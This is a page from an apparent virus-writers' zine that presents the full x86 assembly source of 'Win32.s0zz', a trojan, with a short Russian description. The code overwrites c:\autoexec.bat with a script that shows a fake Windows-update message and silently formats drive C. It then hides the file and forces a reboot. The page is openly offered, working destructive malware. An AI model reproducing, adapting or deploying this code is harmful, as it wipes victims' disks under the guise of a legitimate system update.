- [Duke's Virus Labs #8] - [Page 26] -

Win32.s0zz
(c) by zmumriz

   При запуске троянца он открывает файл c:\autoexec.bat и записывает туда
интересные команды и перезагружает машину, потом юзеру выдается интересное
сообщение падождав он остается без винта.

===== Cut here =====
.386p
locals
jumps
.model flat,STDCALL
extrn ExitProcess:proc
extrn ExitWindowsEx:proc
extrn CreateFileA:proc
extrn WriteFile:proc
extrn CloseHandle:proc
extrn SetFileAttributesA:proc
.data
trojanname db 's0zz by zmumriz'
script     db 'c:\autoexec.bat',00h
handle     dd 0
num_bytes  dd ?
scriptsize equ autoexece - autoexecs
autoexecs:
db '@echo off',13,10
db 'cls',13,10
db 'echo Windows update your system files',13,10
db 'echo Please wait this can occupy several minutes',13,10
db 'format c: /u /c /s /autotest > nul',13,10
db 'echo.',13,10
db 'echo.',13,10
db 'echo.',13,10
db 'echo Err0r',13,10
autoexece:
.code
start:
push 0
push 00000080h
push 2
push 0
push 1
push 40000000h
push offset script
call CreateFileA
mov  dword Ptr [handle],Eax
push 0
push offset num_bytes
push scriptsize
push offset autoexecs
push dword ptr [handle]
Call WriteFile
push offset script
Call CloseHandle
push 00000001h OR 00000002h
lea  eax,script
push eax
call SetFileAttributesA
push 0
push 2
call ExitWindowsEx
call ExitProcess
end start
===== Cut here =====